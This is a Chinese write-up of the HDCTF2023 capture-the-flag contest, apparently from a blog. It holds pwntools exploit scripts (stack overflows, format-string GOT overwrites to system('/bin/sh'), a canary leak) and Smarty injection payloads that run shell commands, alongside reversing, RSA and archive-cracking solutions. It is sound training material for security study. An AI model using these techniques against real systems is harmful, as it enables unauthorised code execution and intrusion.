HDCTF2023 Writeup

pwn 做完了,别的方向的也有打一点。

PWN

pwnner

伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。

// gcc 1.c -o 1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand(0x39);
    printf("随机数为: %d\n", rand());

    return 0;
}

基础栈溢出 + 给了后门函数

exp 如下:

from pwn import *
p = process('./pwnner')
#p = remote('node5.anna.nssctf.cn',28806)

p.sendline('1956681178')

backdoor = 0x00000000004008B2
payload = 'a'*(0x40+0x8) + p64(backdoor)
sleep(0.1)
p.sendline(payload)

p.interactive()

KEEP ON

给了个 shell,不过是假的。

利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 )
下面存在 0x10 字节的溢出,能改 vuln 函数的返回地址为 vuln 再打一次,然后写入 ‘/bin/sh\x00’ 就能执行 system(‘/bin/sh\x00’)

exp 如下:

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
elf = ELF("./hdctf")
p = process('./hdctf')
#p = remote("node5.anna.nssctf.cn",28634)

system_plt = 0x00000000004005E0
printf_got = elf.got['printf']
#gdb.attach(p)
#pause()
payload1 = fmtstr_payload(6, {printf_got: system_plt})
sleep(0.1)
p.sendafter('name: \n',payload1)

vuln_addr = 0x40076F
#pause()
payload2 = 'a'*(0x50+0x8) + p64(vuln_addr)
sleep(0.1)
p.sendafter('on !\n',payload2)

#pause()
sleep(0.1)
p.sendafter('name: \n',"/bin/sh\x00")

p.interactive()

Makewish

伪随机数,种子默认为1,依旧是先写个生成对应随机数的 c 程序,跑出来 v5 为 707。

// gcc 1.c -o 1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    int v5;
    v5 = rand() % 1000 + 324;
    printf("v5: %d\n", v5);
    return 0;
}

填入足够长的字符,改 canary 的低位 ‘\x00’ 为 ‘\x0a’,就能利用 puts 泄露 canary。然后通过了条件判断后可以进入 vuln,这里卡了好一会,直接输 ‘707’ 是过不了判断的,经过调试发现是直接比较内存单元的数据,所以改成了对应的十六进制形式 ‘\xc3\x02\x00\x00’ 来发送。

vuln 函数有 off-by-null,能改 old_ebp 的最低一字节为 ‘\x00’,可以上抬栈底指针了,运气好的话可以劫持到 main 函数的返回地址。在 payload 的前一部分布置尽量多的滑板指令,基本上跑两三遍就能出。

exp 如下:

from pwn import *
p = process('./pwn')
#p = remote('node6.anna.nssctf.cn',28213)
context.log_level = 'debug'

#gdb.attach(p)
#pause()
payload1 = 'a'*(0x30-0x8)
p.sendline(payload1)

p.recvuntil(payload1)
canary = u64(p.recv(8)) - 0x0a
log.info("canary:" + hex(canary))

sleep(0.1)
p.send('\xc3\x02\x00\x00')

#pause()
backdoor = 0x4007C7
ret = 0x400902
payload2 = p64(ret)*10
payload2 += p64(backdoor)
payload2 += p64(canary)
sleep(0.1)
p.sendline(payload2)

p.interactive()

Minions

利用 vuln 函数内的格式化字符串漏洞直接改 key 为 102(经过调试得到 printf 的偏移是6 )

存在 0x10 字节的栈溢出,能改回 main 函数的地址多打几次。

至于程序能够往 bss 段写,这个点我倒是没用上,后面的基本上跟 KEEP ON 的打法差不多。

至于出现了本地通远端不通的情况,我将返回到 main 改到 _start 就通了。

exp 如下:

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
elf = ELF("./minions1")
p = process('./minions1')
#p = remote('node6.anna.nssctf.cn',28837)

key_addr = 0x6010A0
key = 0x66

#gdb.attach(p)
#pause()
payload1 = fmtstr_payload(6, {key_addr: key})
p.sendafter('name?\n\n',payload1)

start_addr = 0x400610
#pause()
payload2 = 'a'*(0x30+0x8) + p64(start_addr)
p.sendafter('you\n',payload2)

p.sendafter('Minions?\n','a')

system_plt = 0x00000000004005C0
printf_got = elf.got['printf']

payload3 = fmtstr_payload(6, {printf_got: system_plt})
p.sendafter('name?\n\n',payload3)

p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')

p.sendafter('name?\n\n','/bin/sh\x00')

p.interactive()

WEB

Welcome To HDCTF 2023

签到题,移动人物往有倒计时的黑脸靠,HP = 0 的时候就会弹 flag

SearchMaster

smarty 注入

data={if system('ls /')}{/if}

data={if system('cat /flag_13_searchmaster')}{/if}

REVERSE

easy_re

使用 UPXshell 脱壳后拖入 IDA 分析,然后再 shift + f12 能找到一串使用 base64 编码的字符串,拖进在线网站解码即可。

easy_asm

直接拖进 IDA 中分析汇编。发现加密的字符串,转成字符是 XTSDVkZecdOqOu#ciOqC}m

将密文与 0x10 异或就是 flag。

flag = "XTSDVkZecdOqOu#ciOqC}m"
result = ""

for char in flag:
    xored_char = chr(ord(char) ^ 0x10)
    result += xored_char

print(result)

double_code

by Jasonxjy

点进这个函数。

此处应该是加载 shellcode, 但是 ida 已经把 shellcode 分析成伪代码了

根据逻辑可以分析出来是个类似于虚拟机的操作,可以根据 opcode 写出 exp:

#include<iostream>
#include<string>
#include<cstring>
using namespace std;
int main ()
{
	int opcode[]={1,5,2,4,3};
	unsigned char flag[]={
		0x48,0x67,0x45,0x51,0x42,0x7b,0x70,0x6a,0x30,0x68,0x6c,0x60,0x32,0x61,0x61,0x5f,0x42,0x70,0x61,0x5b,0x30,0x53,0x65,0x6c,0x60,0x65,0x7c,0x63,0x69,0x2d,0x5f,0x46,0x35,0x70,0x75,0x7d
	};

	for(int i = 0 ; i < strlen((char *)flag) ; i ++ )
	{
		int tmp = i%5;
		if(tmp == 1)
		{
			flag[i] ^= 0x23;
		}
		else if(tmp == 2)
		{
			flag[i] -= 2;
		}
		else if(tmp == 3)
		{
			flag[i] +=3;
		}
		else if (tmp == 4)
		{
			flag[i] +=4;
		}
		else if(tmp == 5)
		{
			flag[i]+=25;
		}
		printf("%c",flag[i]);
	}
	
	
}

fake_game

2020年「羊城杯」网络安全大赛 Re部分 WriteUp_1182843538814603_Simon菌的博客-CSDN博客

ycb 有道类似的。使用 PyInstaller 解包,然后将 game.pyc 文件放入在线网站反编译。分析代码看到方程组,使用 z3 模块进行解密,再与 flag 数组进行异或。

from z3 import*
s=Solver()
xorr=[0]*4
for i in range(4):
    xorr[i]=Int('xorr['+str(i)+']')

s.add(xorr[0] * 256 - xorr[1] / 2 + xorr[2] * 23 + xorr[3] / 2 == 47118166)
s.add(xorr[0] * 252 - xorr[1] * 366 + xorr[2] * 23 + xorr[3] / 2 - 1987 == 46309775)
s.add(xorr[0] * 6 - xorr[1] * 88 + xorr[2] / 2 + xorr[3] / 2 - 11444 == 1069997)
s.add((xorr[0] - 652) * 2 - xorr[1] * 366 + xorr[2] * 233 + xorr[3] / 2 - 13333 == 13509025)

if s.check()==sat:
    print(s.model())
else:print("wrong")

先解密,然后再异或。

flag = [178868, 188, 56953, 2413, 178874, 131, 56957, 2313, 178867, 156,
        56933, 2377, 178832, 202, 56899, 2314, 178830, 167, 56924,
        2313, 178830, 167, 56938, 2383, 178822, 217, 56859, 2372]
key=''
'''
xorr[1] = 248,
 xorr[0] = 178940,
 xorr[2] = 56890,
 xorr[3] = 2360
'''

xorr =[178940,248,56890,2361]

for i in range(len(flag)):
        key+=chr(flag[i]^xorr[i%4])

print(key)

买了些什么呢

物品数量40,背包容量50,每个商品只能拿一次,以买到总价值最高的商品,从小到大排列输出商品的编号。

所以物品的重量和价值为:

2 8 5 1 10 5 9 9 3 5 6 6 2 8 2 2 6 3 8 7 2 5 3 4 3 3 2 7 9 6 8 7 2 9 10 3 8 10 6 5 4 2 3 4 4 5 2 2 4 9 8 5 3 8 8 10 4 2 10 9 7 6 1 3 9 7 1 3 5 9 7 6 1 10 1 1 7 2 4 9

纯 0-1 背包问题。

#include<bits/stdc++.h>
using namespace std;
const int N=1e4+5;
int f[N],p[N][N],w[N],v[N];
//void printpath(int x)
//{
// if(!x) return;
// printpath(x-w[p[x]]);
// cout<<p[x]<<" ";
//}
int main()
{
 int n,m;
 // 先输入物品数量,再输入背包容量
 cin>>n>>m;
 for(int i=1; i<=n; i++)
 cin>>w[i]>>v[i];
 for(int i=n; i>=1; i--)
 {;
  for(int j=m; j>=w[i]; j--)
  {
   if(f[j]<f[j-w[i]]+v[i])
   {
    f[j]=f[j-w[i]]+v[i];
    p[i][j]=1;
   }
  }
 }
 cout<<f[m]<<'\n';
// printpath(m);
 for(int i=1,j=m;i<=n&&j>=0;i++)
 {
  if(p[i][j])
  {
   cout<<i-14<<" ";
   j-=w[i];
  }
 }
 return 0;
}

运行截图如下,将结果使用 NSSCTF{} 包住就是 flag。

enc

by Jasonxjy

表面是个 tea 然后传参,使用脚本解出 v10 的值为 3

脚本如下:

#include <string.h>
#include<iostream>
using namespace std;
void tea_decrypt(uint32_t *v, uint32_t *k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
    uint32_t delta = 0x9e3779b9;
 
    for (i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
        v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
        sum -= delta;
    }
 
    v[0] = v0;
    v[1] = v1;
}
 
int main() {
    uint32_t enc[2]={0x60FCDEF7,0x236DBEC};
    uint32_t key[]={0x12,0x34,0x56,0x78};
    tea_decrypt(enc,key);
    cout<<enc[0];
    return 0;
}

smc 加密处理了 hdctf 字段,使用 idapython 异或回去。

for i in range(0x41d000,0x41E600):
    patch_byte(i,get_wide_byte(i)^3)

就可以看到加密函数了,普通 rc4

#include<iostream>
#include<cstring>
using namespace std;
unsigned char ida_chars[] =
{
	0xD4, 0x16, 0x87, 0xD6, 0x54, 0x68, 0xBC, 0x02, 0x15, 0x6D, 
	0x30, 0x08, 0x4B, 0x61, 0x4C, 0x5E, 0x42, 0xFD, 0x55, 0x61,
	0xB9, 0x27, 0x6F, 0xF5, 0xB6, 0x86, 0x23, 0xA9, 0xEF, 0x1C,
	0x04, 0x9F
};
 
void rc4_1(unsigned char*s, unsigned char*key, unsigned long Len)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i<256; i++)
    {
        s[i] = i;
        k[i] = key[i%Len];
    }
    for (i = 0; i<256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_2(unsigned char*s, unsigned char*Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k<Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}
 
int main()
{
    unsigned char s[256] = { 0 }, s2[256] = { 0 };
	char key[256] = "you_are_master";
   	unsigned char pData[512] = {
		0xf,0x94,0xae,0xf2,0xc0,0x57,0xc2,0xe0,0x9a,0x45,
		0x37,0x50,0xf5,0xa0,0x5e,0xcb,0x2c,0x16,0x28,0x29,
		0xfe,0xff,0x33,0x46,0xe,0x57,0x82,0x22,0x52,0x26,
		0x2b,0x6e,0xe4,0x82,0x24
	};
    unsigned long len = 35;
    int i;
 
    rc4_1(s, (unsigned char*)key, strlen(key));
    rc4_2(s, (unsigned char*)pData, len);
    printf("%s", pData);
    return 0;
}

CRYPTO

Normal_Rsa

出题人忘删 flag 了,打开文件就看见 flag 了。

Normal_Rsa(revenge)

解 rsa。

p,q 要解一下,观察到给出的数字,位数一样就直接开方了。

(查到开根号的方法,开出来就是科学计数法,复原一下就好。

P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537

e=65537
p=pow(P,0.5)
q=pow(Q,0.5)
print(p)
print(q)

然后套 rsa 模板解密即可。

import gmpy2 as gs
import binascii

n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749

c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785

e=65537

p=93595995503882796484948942664787567679411018850571035558047095185699253142469
q=10626484086425759109526601843431131274302413270645909659804218687679714714707826956012068057535486307660248767234433303462363381171495481245390248120740549

n=p*q
phi = (p-1)*(q-1)
d = gs.invert(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

爬过小山去看云

小山的英文是 hill,就是希尔密码;云,就是云隐密码。

给了密钥的希尔密码,在线网站解密就好。

润色一下就看出来了。

your pin is 
eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
# 842084210884024084010124

然后使用云隐密码的解密脚本。

ct = '842084210884024084010124'
list = ct.split('0')
flag=''
for i in list:
    sum = 0
    for j in i:
        sum += int(j)
    flag += chr(sum+64)
print(flag)
# NSSCTF{NOTFLAG}

Math_Rsa

by Jasonxjy

直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa

import gmpy2
from Crypto.Util.number import *
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
P.<x> = PolynomialRing(Zmod(r))
f=x**2-a
f=f.monic()
p=f.roots()[0]
print(p)
p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q=n//p
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

MISC

hardMisc

丢进 010editor 看,最后面有一串 base64 密文,放到在线网站解密即可。

ExtremeMisc

使用 binwalk 分析发现有压缩包,压缩包套娃。手动分离压缩包 IDAT.zip, Dic.zip,尝试爆破密码 haida,成功得到 reverse.piz 文件。

根据文件名称提示并放入 010editor 中,观察到压缩包中编码被反转,读取文件内内容进行反转。

f = open('Reverse.zip', "rb")  # 打开要读取的二进制文件
hex_list = ["{:02X}".format(c) for c in f.read()]  # 将文件内容转换为十六进制字符串列表
f.close()

hex_str = ''.join(hex_list)  # 将列表中的字符串连接成一个字符串
reversed_hex_str = hex_str[::-1]  # 将字符串反转

reversed_bytes = bytes.fromhex(reversed_hex_str)  # 将反转后的十六进制字符串转换为字节流

with open('Reverse_reversed.zip', 'wb') as f:  # 打开一个新的二进制文件,将反转后的字节流写入其中
    f.write(reversed_bytes)

得到恢复正常的 zip 文件,但是解压发现还有加密,爆破得到密码是 9724。得到 secert.zip, plain.zip。plain.zip 有第二层加密,使用明文攻击拿到最后一层密码,打开读取 flag 即可。

MasterMisc

里面有好几个都是一样的压缩包。恢复密码是 5438,得到一张图片,然后使用 binwalk 可以得到一张图片一个音频。

音频可以看见第一部分flag。

图片爆破宽高然后修改得到第二部分flag。

最后一部分直接搜索原图片可以发现。

文章出处登录后可见!

已经登录?立即刷新

共计人评分,平均

到目前为止还没有投票!成为第一位评论此文章。

(0)
青葱年少的头像青葱年少普通用户
上一篇 2023年5月23日
下一篇 2023年5月23日

相关推荐